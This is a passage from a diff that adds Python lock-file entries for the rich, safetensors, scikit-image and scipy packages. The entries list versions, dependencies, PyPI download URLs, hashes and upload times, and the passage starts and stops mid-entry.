"https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/c6/f3b320c27991c46f43ee9d856302c70dc2d0fb2dba4842ff739d5f46b393/rich-14.3.3.tar.gz", hash = "sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b", size = 230582, upload-time = "2026-02-19T17:23:12.474Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/25/b208c5683343959b670dc001595f2f3737e051da617f66c31f7c4fa93abc/rich-14.3.3-py3-none-any.whl", hash = "sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d", size = 310458, upload-time = "2026-02-19T17:23:13.732Z" }, +] + +[[package]] +name = "safetensors" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/29/9c/6e74567782559a63bd040a236edca26fd71bc7ba88de2ef35d75df3bca5e/safetensors-0.7.0.tar.gz", hash = "sha256:07663963b67e8bd9f0b8ad15bb9163606cd27cc5a1b96235a50d8369803b96b0", size = 200878, upload-time = "2025-11-19T15:18:43.199Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/47/aef6c06649039accf914afef490268e1067ed82be62bcfa5b7e886ad15e8/safetensors-0.7.0-cp38-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c82f4d474cf725255d9e6acf17252991c3c8aac038d6ef363a4bf8be2f6db517", size = 467781, upload-time = "2025-11-19T15:18:35.84Z" }, + { url = "https://files.pythonhosted.org/packages/e8/00/374c0c068e30cd31f1e1b46b4b5738168ec79e7689ca82ee93ddfea05109/safetensors-0.7.0-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:94fd4858284736bb67a897a41608b5b0c2496c9bdb3bf2af1fa3409127f20d57", size = 447058, upload-time = "2025-11-19T15:18:34.416Z" }, + { url = "https://files.pythonhosted.org/packages/f1/06/578ffed52c2296f93d7fd2d844cabfa92be51a587c38c8afbb8ae449ca89/safetensors-0.7.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e07d91d0c92a31200f25351f4acb2bc6aff7f48094e13ebb1d0fb995b54b6542", size = 491748, upload-time = "2025-11-19T15:18:09.79Z" }, + { url = "https://files.pythonhosted.org/packages/ae/33/1debbbb70e4791dde185edb9413d1fe01619255abb64b300157d7f15dddd/safetensors-0.7.0-cp38-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8469155f4cb518bafb4acf4865e8bb9d6804110d2d9bdcaa78564b9fd841e104", size = 503881, upload-time = "2025-11-19T15:18:16.145Z" }, + { url = "https://files.pythonhosted.org/packages/8e/1c/40c2ca924d60792c3be509833df711b553c60effbd91da6f5284a83f7122/safetensors-0.7.0-cp38-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:54bef08bf00a2bff599982f6b08e8770e09cc012d7bba00783fc7ea38f1fb37d", size = 623463, upload-time = "2025-11-19T15:18:21.11Z" }, + { url = "https://files.pythonhosted.org/packages/9b/3a/13784a9364bd43b0d61eef4bea2845039bc2030458b16594a1bd787ae26e/safetensors-0.7.0-cp38-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:42cb091236206bb2016d245c377ed383aa7f78691748f3bb6ee1bfa51ae2ce6a", size = 532855, upload-time = "2025-11-19T15:18:25.719Z" }, + { url = "https://files.pythonhosted.org/packages/a0/60/429e9b1cb3fc651937727befe258ea24122d9663e4d5709a48c9cbfceecb/safetensors-0.7.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dac7252938f0696ddea46f5e855dd3138444e82236e3be475f54929f0c510d48", size = 507152, upload-time = "2025-11-19T15:18:33.023Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a8/4b45e4e059270d17af60359713ffd83f97900d45a6afa73aaa0d737d48b6/safetensors-0.7.0-cp38-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1d060c70284127fa805085d8f10fbd0962792aed71879d00864acda69dbab981", size = 541856, upload-time = "2025-11-19T15:18:31.075Z" }, + { url = "https://files.pythonhosted.org/packages/06/87/d26d8407c44175d8ae164a95b5a62707fcc445f3c0c56108e37d98070a3d/safetensors-0.7.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:cdab83a366799fa730f90a4ebb563e494f28e9e92c4819e556152ad55e43591b", size = 674060, upload-time = "2025-11-19T15:18:37.211Z" }, + { url = "https://files.pythonhosted.org/packages/11/f5/57644a2ff08dc6325816ba7217e5095f17269dada2554b658442c66aed51/safetensors-0.7.0-cp38-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:672132907fcad9f2aedcb705b2d7b3b93354a2aec1b2f706c4db852abe338f85", size = 771715, upload-time = "2025-11-19T15:18:38.689Z" }, + { url = "https://files.pythonhosted.org/packages/86/31/17883e13a814bd278ae6e266b13282a01049b0c81341da7fd0e3e71a80a3/safetensors-0.7.0-cp38-abi3-musllinux_1_2_i686.whl", hash = "sha256:5d72abdb8a4d56d4020713724ba81dac065fedb7f3667151c4a637f1d3fb26c0", size = 714377, upload-time = "2025-11-19T15:18:40.162Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d8/0c8a7dc9b41dcac53c4cbf9df2b9c83e0e0097203de8b37a712b345c0be5/safetensors-0.7.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b0f6d66c1c538d5a94a73aa9ddca8ccc4227e6c9ff555322ea40bdd142391dd4", size = 677368, upload-time = "2025-11-19T15:18:41.627Z" }, + { url = "https://files.pythonhosted.org/packages/05/e5/cb4b713c8a93469e3c5be7c3f8d77d307e65fe89673e731f5c2bfd0a9237/safetensors-0.7.0-cp38-abi3-win32.whl", hash = "sha256:c74af94bf3ac15ac4d0f2a7c7b4663a15f8c2ab15ed0fc7531ca61d0835eccba", size = 326423, upload-time = "2025-11-19T15:18:45.74Z" }, + { url = "https://files.pythonhosted.org/packages/5d/e6/ec8471c8072382cb91233ba7267fd931219753bb43814cbc71757bfd4dab/safetensors-0.7.0-cp38-abi3-win_amd64.whl", hash = "sha256:d1239932053f56f3456f32eb9625590cc7582e905021f94636202a864d470755", size = 341380, upload-time = "2025-11-19T15:18:44.427Z" }, + { url = "https://files.pythonhosted.org/packages/a7/6a/4d08d89a6fcbe905c5ae68b8b34f0791850882fc19782d0d02c65abbdf3b/safetensors-0.7.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4729811a6640d019a4b7ba8638ee2fd21fa5ca8c7e7bdf0fed62068fcaac737", size = 492430, upload-time = "2025-11-19T15:18:11.884Z" }, + { url = "https://files.pythonhosted.org/packages/dd/29/59ed8152b30f72c42d00d241e58eaca558ae9dbfa5695206e2e0f54c7063/safetensors-0.7.0-pp310-pypy310_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:12f49080303fa6bb424b362149a12949dfbbf1e06811a88f2307276b0c131afd", size = 503977, upload-time = "2025-11-19T15:18:17.523Z" }, + { url = "https://files.pythonhosted.org/packages/d3/0b/4811bfec67fa260e791369b16dab105e4bae82686120554cc484064e22b4/safetensors-0.7.0-pp310-pypy310_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0071bffba4150c2f46cae1432d31995d77acfd9f8db598b5d1a2ce67e8440ad2", size = 623890, upload-time = "2025-11-19T15:18:22.666Z" }, + { url = "https://files.pythonhosted.org/packages/58/5b/632a58724221ef03d78ab65062e82a1010e1bef8e8e0b9d7c6d7b8044841/safetensors-0.7.0-pp310-pypy310_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:473b32699f4200e69801bf5abf93f1a4ecd432a70984df164fc22ccf39c4a6f3", size = 531885, upload-time = "2025-11-19T15:18:27.146Z" }, +] + +[[package]] +name = "scikit-image" +version = "0.25.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "imageio" }, + { name = "lazy-loader" }, + { name = "networkx", version = "3.4.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "networkx", version = "3.6.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "numpy" }, + { name = "packaging" }, + { name = "pillow" }, + { name = "scipy" }, + { name = "tifffile", version = "2025.5.10", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "tifffile", version = "2026.1.28", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c7/a8/3c0f256012b93dd2cb6fda9245e9f4bff7dc0486880b248005f15ea2255e/scikit_image-0.25.2.tar.gz", hash = "sha256:e5a37e6cd4d0c018a7a55b9d601357e3382826d3888c10d0213fc63bff977dde", size = 22693594, upload-time = "2025-02-18T18:05:24.538Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/11/cb/016c63f16065c2d333c8ed0337e18a5cdf9bc32d402e4f26b0db362eb0e2/scikit_image-0.25.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d3278f586793176599df6a4cf48cb6beadae35c31e58dc01a98023af3dc31c78", size = 13988922, upload-time = "2025-02-18T18:04:11.069Z" }, + { url = "https://files.pythonhosted.org/packages/30/ca/ff4731289cbed63c94a0c9a5b672976603118de78ed21910d9060c82e859/scikit_image-0.25.2-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:5c311069899ce757d7dbf1d03e32acb38bb06153236ae77fcd820fd62044c063", size = 13192698, upload-time = "2025-02-18T18:04:15.362Z" }, + { url = "https://files.pythonhosted.org/packages/39/6d/a2aadb1be6d8e149199bb9b540ccde9e9622826e1ab42fe01de4c35ab918/scikit_image-0.25.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:be455aa7039a6afa54e84f9e38293733a2622b8c2fb3362b822d459cc5605e99", size = 14153634, upload-time = "2025-02-18T18:04:18.496Z" }, + { url = "https://files.pythonhosted.org/packages/96/08/916e7d9ee4721031b2f625db54b11d8379bd51707afaa3e5a29aecf10bc4/scikit_image-0.25.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a4c464b90e978d137330be433df4e76d92ad3c5f46a22f159520ce0fdbea8a09", size = 14767545, upload-time = "2025-02-18T18:04:22.556Z" }, + { url = "https://files.pythonhosted.org/packages/5f/ee/c53a009e3997dda9d285402f19226fbd17b5b3cb215da391c4ed084a1424/scikit_image-0.25.2-cp310-cp310-win_amd64.whl", hash = "sha256:60516257c5a2d2f74387c502aa2f15a0ef3498fbeaa749f730ab18f0a40fd054", size = 12812908, upload-time = "2025-02-18T18:04:26.364Z" }, + { url = "https://files.pythonhosted.org/packages/c4/97/3051c68b782ee3f1fb7f8f5bb7d535cf8cb92e8aae18fa9c1cdf7e15150d/scikit_image-0.25.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f4bac9196fb80d37567316581c6060763b0f4893d3aca34a9ede3825bc035b17", size = 14003057, upload-time = "2025-02-18T18:04:30.395Z" }, + { url = "https://files.pythonhosted.org/packages/19/23/257fc696c562639826065514d551b7b9b969520bd902c3a8e2fcff5b9e17/scikit_image-0.25.2-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:d989d64ff92e0c6c0f2018c7495a5b20e2451839299a018e0e5108b2680f71e0", size = 13180335, upload-time = "2025-02-18T18:04:33.449Z" }, + { url = "https://files.pythonhosted.org/packages/ef/14/0c4a02cb27ca8b1e836886b9ec7c9149de03053650e9e2ed0625f248dd92/scikit_image-0.25.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2cfc96b27afe9a05bc92f8c6235321d3a66499995675b27415e0d0c76625173", size = 14144783, upload-time = "2025-02-18T18:04:36.594Z" }, + { url = "https://files.pythonhosted.org/packages/dd/9b/9fb556463a34d9842491d72a421942c8baff4281025859c84fcdb5e7e602/scikit_image-0.25.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:24cc986e1f4187a12aa319f777b36008764e856e5013666a4a83f8df083c2641", size = 14785376, upload-time = "2025-02-18T18:04:39.856Z" }, + { url = "https://files.pythonhosted.org/packages/de/ec/b57c500ee85885df5f2188f8bb70398481393a69de44a00d6f1d055f103c/scikit_image-0.25.2-cp311-cp311-win_amd64.whl", hash = "sha256:b4f6b61fc2db6340696afe3db6b26e0356911529f5f6aee8c322aa5157490c9b", size = 12791698, upload-time = "2025-02-18T18:04:42.868Z" }, + { url = "https://files.pythonhosted.org/packages/35/8c/5df82881284459f6eec796a5ac2a0a304bb3384eec2e73f35cfdfcfbf20c/scikit_image-0.25.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8db8dd03663112783221bf01ccfc9512d1cc50ac9b5b0fe8f4023967564719fb", size = 13986000, upload-time = "2025-02-18T18:04:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/ce/e6/93bebe1abcdce9513ffec01d8af02528b4c41fb3c1e46336d70b9ed4ef0d/scikit_image-0.25.2-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:483bd8cc10c3d8a7a37fae36dfa5b21e239bd4ee121d91cad1f81bba10cfb0ed", size = 13235893, upload-time = "2025-02-18T18:04:51.049Z" }, + { url = "https://files.pythonhosted.org/packages/53/4b/eda616e33f67129e5979a9eb33c710013caa3aa8a921991e6cc0b22cea33/scikit_image-0.25.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d1e80107bcf2bf1291acfc0bf0425dceb8890abe9f38d8e94e23497cbf7ee0d", size = 14178389, upload-time = "2025-02-18T18:04:54.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/b5/b75527c0f9532dd8a93e8e7cd8e62e547b9f207d4c11e24f0006e8646b36/scikit_image-0.25.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a17e17eb8562660cc0d31bb55643a4da996a81944b82c54805c91b3fe66f4824", size = 15003435, upload-time = "2025-02-18T18:04:57.586Z" }, + { url = "https://files.pythonhosted.org/packages/34/e3/49beb08ebccda3c21e871b607c1cb2f258c3fa0d2f609fed0a5ba741b92d/scikit_image-0.25.2-cp312-cp312-win_amd64.whl", hash = "sha256:bdd2b8c1de0849964dbc54037f36b4e9420157e67e45a8709a80d727f52c7da2", size = 12899474, upload-time = "2025-02-18T18:05:01.166Z" }, + { url = "https://files.pythonhosted.org/packages/e6/7c/9814dd1c637f7a0e44342985a76f95a55dd04be60154247679fd96c7169f/scikit_image-0.25.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7efa888130f6c548ec0439b1a7ed7295bc10105458a421e9bf739b457730b6da", size = 13921841, upload-time = "2025-02-18T18:05:03.963Z" }, + { url = "https://files.pythonhosted.org/packages/84/06/66a2e7661d6f526740c309e9717d3bd07b473661d5cdddef4dd978edab25/scikit_image-0.25.2-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:dd8011efe69c3641920614d550f5505f83658fe33581e49bed86feab43a180fc", size = 13196862, upload-time = "2025-02-18T18:05:06.986Z" }, + { url = "https://files.pythonhosted.org/packages/4e/63/3368902ed79305f74c2ca8c297dfeb4307269cbe6402412668e322837143/scikit_image-0.25.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28182a9d3e2ce3c2e251383bdda68f8d88d9fff1a3ebe1eb61206595c9773341", size = 14117785, upload-time = "2025-02-18T18:05:10.69Z" }, + { url = "https://files.pythonhosted.org/packages/cd/9b/c3da56a145f52cd61a68b8465d6a29d9503bc45bc993bb45e84371c97d94/scikit_image-0.25.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8abd3c805ce6944b941cfed0406d88faeb19bab3ed3d4b50187af55cf24d147", size = 14977119, upload-time = "2025-02-18T18:05:13.871Z" }, + { url = "https://files.pythonhosted.org/packages/8a/97/5fcf332e1753831abb99a2525180d3fb0d70918d461ebda9873f66dcc12f/scikit_image-0.25.2-cp313-cp313-win_amd64.whl", hash = "sha256:64785a8acefee460ec49a354706db0b09d1f325674107d7fa3eadb663fb56d6f", size = 12885116, upload-time = "2025-02-18T18:05:17.844Z" }, + { url = "https://files.pythonhosted.org/packages/10/cc/75e9f17e3670b5ed93c32456fda823333c6279b144cd93e2c03aa06aa472/scikit_image-0.25.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:330d061bd107d12f8d68f1d611ae27b3b813b8cdb0300a71d07b1379178dd4cd", size = 13862801, upload-time = "2025-02-18T18:05:20.783Z" }, +] + +[[package]] +name = "scipy" +version = "1.15.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0f/37/6964b830433e654ec7485e45a00fc9a27cf868d622838f6b6d9c5ec0d532/scipy-1.15.3.tar.gz", hash = "sha256:eae3cf522bc7df64b42cad3925c876e1b0b6c35c1337c93e12c0f366f55b0eaf", size = 59419214, upload-time = "2025-05-08T16:13:05.955Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/2f/4966032c5f8cc7e6a60f1b2e0ad686293b9474b65246b0c642e3ef3badd0/scipy-1.15.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:a345928c86d535060c9c2b25e71e87c39ab2f22fc96e9636bd74d1dbf9de448c", size = 38702770, upload-time = "2025-05-08T16:04:20.849Z" }, + { url = "https://files.pythonhosted.org/packages/a0/6e/0c3bf90fae0e910c274db43304ebe25a6b391327f3f10b5dcc638c090795/scipy-1.15.3-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:ad3432cb0f9ed87477a8d97f03b763fd1d57709f1bbde3c9369b1dff5503b253", size = 30094511, upload-time = "2025-05-08T16:04:27.103Z" }, + { url = "https://files.pythonhosted.org/packages/ea/b1/4deb37252311c1acff7f101f6453f0440794f51b6eacb1aad4459a134081/scipy-1.15.3-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:aef683a9ae6eb00728a542b796f52a5477b78252edede72b8327a886ab63293f", size = 22368151, upload-time = "2025-05-08T16:04:31.731Z" }, + { url = "https://files.pythonhosted.org/packages/38/7d/f457626e3cd3c29b3a49ca115a304cebb8cc6f31b04678f03b216899d3c6/scipy-1.15.3-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:1c832e1bd78dea67d5c16f786681b28dd695a8cb1fb90af2e27580d3d0967e92", size = 25121732, upload-time = "2025-05-08T16:04:36.596Z" }, + { url = "https://files.pythonhosted.org/packages/db/0a/92b1de4a7adc7a15dcf5bddc6e191f6f29ee663b30511ce20467ef9b82e4/scipy-1.15.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:263961f658ce2165bbd7b99fa5135195c3a12d9bef045345016b8b50c315cb82", size = 35547617, upload-time = "2025-05-08T16:04:43.546Z" }, + { url = "https://files.pythonhosted.org/packages/8e/6d/41991e503e51fc1134502694c5fa7a1671501a17ffa12716a4a9151af3df/scipy-1.15.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e2abc762b0811e09a0d3258abee2d98e0c703eee49464ce0069590846f31d40", size = 37662964, upload-time = "2025-05-08T16:04:49.431Z" }, + { url = "https://files.pythonhosted.org/packages/25/e1/3df8f83cb15f3500478c889be8fb18700813b95e9e087328230b98d547ff/scipy-1.15.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ed7284b21a7a0c8f1b6e5977ac05396c0d008b89e05498c8b7e8f4a1423bba0e", size = 37238749, upload-time = "2025-05-08T16:04:55.215Z" }, + { url = "https://files.pythonhosted.org/packages/93/3e/b3257cf446f2a3533ed7809757039016b74cd6f38271de91682aa844cfc5/scipy-1.15.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5380741e53df2c566f4d234b100a484b420af85deb39ea35a1cc1be84ff53a5c", size = 40022383, upload-time = "2025-05-08T16:05:01.914Z" }, + { url = "https://files.pythonhosted.org/packages/d1/84/55bc4881973d3f79b479a5a2e2df61c8c9a04fcb986a213ac9c02cfb659b/scipy-1.15.3-cp310-cp310-win_amd64.whl", hash = "sha256:9d61e97b186a57350f6d6fd72640f9e99d5a4a2b8fbf4b9ee9a841eab327dc13", size = 41259201, upload-time = "2025-05-08T16:05:08.166Z" }, + { url = "https://files.pythonhosted.org/packages/96/ab/5cc9f80f28f6a7dff646c5756e559823614a42b1939d86dd0ed550470210/scipy-1.15.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:993439ce220d25e3696d1b23b233dd010169b62f6456488567e830654ee37a6b", size = 38714255, upload-time = "2025-05-08T16:05:14.596Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4a/66ba30abe5ad1a3ad15bfb0b59d22174012e8056ff448cb1644deccbfed2/scipy-1.15.3-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:34716e281f181a02341ddeaad584205bd2fd3c242063bd3423d61ac259ca7eba", size = 30111035, upload-time = "2025-05-08T16:05:20.152Z" }, + { url = "https://files.pythonhosted.org/packages/4b/fa/a7e5b95afd80d24313307f03624acc65801846fa75599034f8ceb9e2cbf6/scipy-1.15.3-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:3b0334816afb8b91dab859281b1b9786934392aa3d527cd847e41bb6f45bee65", size = 22384499, upload-time = "2025-05-08T16:05:24.494Z" }, + { url = "https://files.pythonhosted.org/packages/17/99/f3aaddccf3588bb4aea70ba35328c204cadd89517a1612ecfda5b2dd9d7a/scipy-1.15.3-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:6db907c7368e3092e24919b5e31c76998b0ce1684d51a90943cb0ed1b4ffd6c1", size = 25152602, upload-time = "2025-05-08T16:05:29.313Z" }, + { url = "https://files.pythonhosted.org/packages/56/c5/1032cdb565f146109212153339f9cb8b993701e9fe56b1c97699eee12586/scipy-1.15.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:721d6b4ef5dc82ca8968c25b111e307083d7ca9091bc38163fb89243e85e3889", size = 35503415, upload-time = "2025-05-08T16:05:34.699Z" }, + { url = "https://files.pythonhosted.org/packages/bd/37/89f19c8c05505d0601ed5650156e50eb881ae3918786c8fd7262b4ee66d3/scipy-1.15.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39cb9c62e471b1bb3750066ecc3a3f3052b37751c7c3dfd0fd7e48900ed52982", size = 37652622, upload-time = "2025-05-08T16:05:40.762Z" }, + { url = "https://files.pythonhosted.org/packages/7e/31/be59513aa9695519b18e1851bb9e487de66f2d31f835201f1b42f5d4d475/scipy-1.15.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:795c46999bae845966368a3c013e0e00947932d68e235702b5c3f6ea799aa8c9", size = 37244796, upload-time = "2025-05-08T16:05:48.119Z" }, + { url = "https://files.pythonhosted.org/packages/10/c0/4f5f3eeccc235632aab79b27a74a9130c6c35df358129f7ac8b29f562ac7/scipy-1.15.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:18aaacb735ab38b38db42cb01f6b92a2d0d4b6aabefeb07f02849e47f8fb3594", size = 40047684, upload-time = "2025-05-08T16:05:54.22Z" }, + { url = "https://files.pythonhosted.org/packages/ab/a7/0ddaf514ce8a8714f6ed243a2b391b41dbb65251affe21ee3077ec45ea9a/scipy-1.15.3-cp311-cp311-win_amd64.whl", hash = "sha256:ae48a786a28412d744c62fd7816a4118ef97e5be0bee968ce8f0a2fba7acf3bb", size = 41246504, upload-time = "2025-05-08T16:06:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/37/4b/683aa044c4162e10ed7a7ea30527f2cbd92e6999c10a8ed8edb253836e9c/scipy-1.15.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6ac6310fdbfb7aa6612408bd2f07295bcbd3fda00d2d702178434751fe48e019", size = 38766735, upload-time = "2025-05-08T16:06:06.471Z" }, + { url = "https://files.pythonhosted.org/packages/7b/7e/f30be3d03de07f25dc0ec926d1681fed5c732d759ac8f51079708c79e680/scipy-1.15.3-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:185cd3d6d05ca4b44a8f1595af87f9c372bb6acf9c808e99aa3e9aa03bd98cf6", size = 30173284, upload-time = "2025-05-08T16:06:11.686Z" }, + { url = "https://files.pythonhosted.org/packages/07/9c/0ddb0d0abdabe0d181c1793db51f02cd59e4901da6f9f7848e1f96759f0d/scipy-1.15.3-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:05dc6abcd105e1a29f95eada46d4a3f251743cfd7d3ae8ddb4088047f24ea477", size = 22446958, upload-time = "2025-05-08T16:06:15.97Z" }, + { url = "https://files.pythonhosted.org/packages/af/43/0bce905a965f36c58ff80d8bea33f1f9351b05fad4beaad4eae34699b7a1/scipy-1.15.3-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:06efcba926324df1696931a57a176c80848ccd67ce6ad020c810736bfd58eb1c", size = 25242454, upload-time = "2025-05-08T16:06:20.394Z" }, + { url = "https://files.pythonhosted.org/packages/56/30/a6f08f84ee5b7b28b4c597aca4cbe545535c39fe911845a96414700b64ba/scipy-1.15.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c05045d8b9bfd807ee1b9f38761993297b10b245f012b11b13b91ba8945f7e45", size = 35210199, upload-time = "2025-05-08T16:06:26.159Z" }, + { url = "https://files.pythonhosted.org/packages/0b/1f/03f52c282437a168ee2c7c14a1a0d0781a9a4a8962d84ac05c06b4c5b555/scipy-1.15.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:271e3713e645149ea5ea3e97b57fdab61ce61333f97cfae392c28ba786f9bb49", size = 37309455, upload-time = "2025-05-08T16:06:32.778Z" }, + { url = "https://files.pythonhosted.org/packages/89/b1/fbb53137f42c4bf630b1ffdfc2151a62d1d1b903b249f030d2b1c0280af8/scipy-1.15.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6cfd56fc1a8e53f6e89ba3a7a7251f7396412d655bca2aa5611c8ec9a6784a1e", size = 36885140, upload-time = "2025-05-08T16:06:39.249Z" }, + { url = "https://files.pythonhosted.org/packages/2e/2e/025e39e339f5090df1ff266d021892694dbb7e63568edcfe43f892fa381d/scipy-1.15.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0ff17c0bb1cb32952c09217d8d1eed9b53d1463e5f1dd6052c7857f83127d539", size = 39710549, upload-time = "2025-05-08T16:06:45.729Z" }, + { url = "https://files.pythonhosted.org/packages/e6/eb/3bf6ea8ab7f1503dca3a10df2e4b9c3f6b3316df07f6c0ded94b281c7101/scipy-1.15.3-cp312-cp312-win_amd64.whl", hash = "sha256:52092bc0472cfd17df49ff17e70624345efece4e1a12b23783a1ac59a1b728ed", size = 40966184, upload-time = "2025-05-08T16:06:52.623Z" }, + { url = "https://files.pythonhosted.org/packages/73/18/ec27848c9baae6e0d6573eda6e01a602e5649ee72c27c3a8aad673ebecfd/scipy-1.15.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2c620736bcc334782e24d173c0fdbb7590a0a436d2fdf39310a8902505008759", size = 38728256, upload-time = "2025-05-08T16:06:58.696Z" }, + { url = "https://files.pythonhosted.org/packages/74/cd/1aef2184948728b4b6e21267d53b3339762c285a46a274ebb7863c9e4742/scipy-1.15.3-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:7e11270a000969409d37ed399585ee530b9ef6aa99d50c019de4cb01e8e54e62", size = 30109540, upload-time = "2025-05-08T16:07:04.209Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d8/59e452c0a255ec352bd0a833537a3bc1bfb679944c4938ab375b0a6b3a3e/scipy-1.15.3-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:8c9ed3ba2c8a2ce098163a9bdb26f891746d02136995df25227a20e71c396ebb", size = 22383115, upload-time = "2025-05-08T16:07:08.998Z" }, + { url = "https://files.pythonhosted.org/packages/08/f5/456f56bbbfccf696263b47095291040655e3cbaf05d063bdc7c7517f32ac/scipy-1.15.3-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:0bdd905264c0c9cfa74a4772cdb2070171790381a5c4d312c973382fc6eaf730", size = 25163884, upload-time = "2025-05-08T16:07:14.091Z" }, + { url = "https://files.pythonhosted.org/packages/a2/66/a9618b6a435a0f0c0b8a6d0a2efb32d4ec5a85f023c2b79d39512040355b/scipy-1.15.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79167bba085c31f38603e11a267d862957cbb3ce018d8b38f79ac043bc92d825", size = 35174018, upload-time = "2025-05-08T16:07:19.427Z" }, + { url = "https://files.pythonhosted.org/packages/b5/09/c5b6734a50ad4882432b6bb7c02baf757f5b2f256041da5df242e2d7e6b6/scipy-1.15.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9deabd6d547aee2c9a81dee6cc96c6d7e9a9b1953f74850c179f91fdc729cb7", size = 37269716, upload-time = "2025-05-08T16:07:25.712Z" }, + { url = "https://files.pythonhosted.org/packages/77/0a/eac00ff741f23bcabd352731ed9b8995a0a60ef57f5fd788d611d43d69a1/scipy-1.15.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = 